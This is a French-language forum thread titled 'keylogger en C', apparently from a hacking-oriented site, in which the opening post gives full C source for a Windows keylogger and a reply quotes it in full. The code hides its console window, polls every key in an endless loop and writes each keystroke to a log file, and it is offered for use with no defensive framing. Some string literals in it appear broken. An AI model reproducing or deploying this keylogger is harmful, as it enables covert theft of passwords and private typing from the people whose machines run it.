Aller au contenu
View in the app

A better way to browse. Learn more.

Omerta

A full-screen app on your home screen with push notifications, badges and more.

To install this app on iOS and iPadOS
  1. Tap the Share icon in Safari
  2. Scroll the menu and tap Add to Home Screen.
  3. Tap Add in the top-right corner.
To install this app on Android
  1. Tap the 3-dot menu (⋮) in the top-right corner of the browser.
  2. Tap Add to Home screen or Install app.
  3. Confirm by tapping Install.

keylogger en C

Featured Replies

Posté(e)

 

keylogger en C

 

 

  #include <stdio.h>#include <stdlib.h>#include <windows.h>#include <winuser.h>#include <windowsx.h>void enregistrer(int touche, char *cheminFichier); /* enregistre les frape dans un fichier */void cacher(); /* cache la fenetre mais le processus est visible dans le gestionaire de taches */int main(int argc, char **argv){ cacher(); char i; while(1) { for(i = 8; i < 190; i++) { if(GetAsyncKeyState(i) == -32767) enregistrer(i, (char*)"log.txt"); } } return 0;}void enregistrer(int touche, char *cheminFichier){ if(touche != 1 && touche != 2) { FILE *fichier = NULL; fichier = fopen(cheminFichier, "a+"); switch(touche) //http://msdn.microsoft.com/en-us/library/windows/desktop/dd375731%28v=vs.85%29.aspx { case 8: fprintf(fichier, "%s", "[BACKSPACE]"); break; case 13: fputc('\', fichier); break; case 32: fputc(32, fichier); break; case VK_TAB: fprintf(fichier, "%s", "[TAB]"); break; case VK_SHIFT: fprintf(fichier, "%s", "[SHIFT]"); break; case VK_CONTROL: fprintf(fichier, "%s", "[CTRL]"); break; case VK_ESCAPE: fprintf(fichier, "%s", "[ECHAP]"); break; case VK_LEFT: fprintf(fichier, "%s", "[GAUCHE]"); break; case VK_DOWN: fprintf(fichier, "%s", "[BAS]"); break; case VK_RIGHT: fprintf(fichier, "%s", "
"); break; case VK_UP: fprintf(fichier, "%s", "[HAUT]"); break; case VK_NUMPAD0: fprintf(fichier, "%d", 0); break; case VK_NUMPAD1: fprintf(fichier, "%d", 1); break; case VK_NUMPAD2: fprintf(fichier, "%d", 2); break; case VK_NUMPAD3: fprintf(fichier, "%d", 3); break; case VK_NUMPAD4: fprintf(fichier, "%d", 4); break; case VK_NUMPAD5: fprintf(fichier, "%d", 5); break; case VK_NUMPAD6: fprintf(fichier, "%d", 6); break; case VK_NUMPAD7: fprintf(fichier, "%d", 7); break; case VK_NUMPAD8: fprintf(fichier, "%d", 8); break; case VK_NUMPAD9: fprintf(fichier, "%d", 9); break; case 190: fputc('.', fichier); break; case 110: fputc('.', fichier); break; case 187: fputc('+', fichier); break; case 189: fputc('-', fichier); break; case 20: fprintf(fichier, "%s", "[MAJ_LOCK]"); break; case 46: fprintf(fichier, "%s", "[SUPPR]"); default: fputc(touche, fichier); break; } fclose(fichier); }}void cacher(){ HWND Stealth; AllocConsole(); Stealth = FindWindowA("ConsoleWindowClass", NULL); ShowWindow(Stealth,0);} 
 
 
 

Modifié par fntnstk

 

 

Capture.PNG

  • 9 mois après...
Posté(e)
Le 03/06/2022 à 15:46, fntnstk a dit :

 

keylogger en C

 

 

  #include <stdio.h>#include <stdlib.h>#include <windows.h>#include <winuser.h>#include <windowsx.h>void enregistrer(int touche, char *cheminFichier); /* enregistre les frape dans un fichier */void cacher(); /* cache la fenetre mais le processus est visible dans le gestionaire de taches */int main(int argc, char **argv){ cacher(); char i; while(1) { for(i = 8; i < 190; i++) { if(GetAsyncKeyState(i) == -32767) enregistrer(i, (char*)"log.txt"); } } return 0;}void enregistrer(int touche, char *cheminFichier){ if(touche != 1 && touche != 2) { FILE *fichier = NULL; fichier = fopen(cheminFichier, "a+"); switch(touche) //http://msdn.microsoft.com/en-us/library/windows/desktop/dd375731%28v=vs.85%29.aspx { case 8: fprintf(fichier, "%s", "[BACKSPACE]"); break; case 13: fputc('\', fichier); break; case 32: fputc(32, fichier); break; case VK_TAB: fprintf(fichier, "%s", "[TAB]"); break; case VK_SHIFT: fprintf(fichier, "%s", "[SHIFT]"); break; case VK_CONTROL: fprintf(fichier, "%s", "[CTRL]"); break; case VK_ESCAPE: fprintf(fichier, "%s", "[ECHAP]"); break; case VK_LEFT: fprintf(fichier, "%s", "[GAUCHE]"); break; case VK_DOWN: fprintf(fichier, "%s", "[BAS]"); break; case VK_RIGHT: fprintf(fichier, "%s", "
"); break; case VK_UP: fprintf(fichier, "%s", "[HAUT]"); break; case VK_NUMPAD0: fprintf(fichier, "%d", 0); break; case VK_NUMPAD1: fprintf(fichier, "%d", 1); break; case VK_NUMPAD2: fprintf(fichier, "%d", 2); break; case VK_NUMPAD3: fprintf(fichier, "%d", 3); break; case VK_NUMPAD4: fprintf(fichier, "%d", 4); break; case VK_NUMPAD5: fprintf(fichier, "%d", 5); break; case VK_NUMPAD6: fprintf(fichier, "%d", 6); break; case VK_NUMPAD7: fprintf(fichier, "%d", 7); break; case VK_NUMPAD8: fprintf(fichier, "%d", 8); break; case VK_NUMPAD9: fprintf(fichier, "%d", 9); break; case 190: fputc('.', fichier); break; case 110: fputc('.', fichier); break; case 187: fputc('+', fichier); break; case 189: fputc('-', fichier); break; case 20: fprintf(fichier, "%s", "[MAJ_LOCK]"); break; case 46: fprintf(fichier, "%s", "[SUPPR]"); default: fputc(touche, fichier); break; } fclose(fichier); }}void cacher(){ HWND Stealth; AllocConsole(); Stealth = FindWindowA("ConsoleWindowClass", NULL); ShowWindow(Stealth,0);} 
 
 
 

Salut, je n'ai jamais tester le c, voyons voir ce que cela fait. 

Créer un compte ou se connecter pour commenter

Account

Navigation

Rechercher

Rechercher

Configure browser push notifications

Chrome (Android)
  1. Tap the lock icon next to the address bar.
  2. Tap Permissions → Notifications.
  3. Adjust your preference.
Chrome (Desktop)
  1. Click the padlock icon in the address bar.
  2. Select Site settings.
  3. Find Notifications and adjust your preference.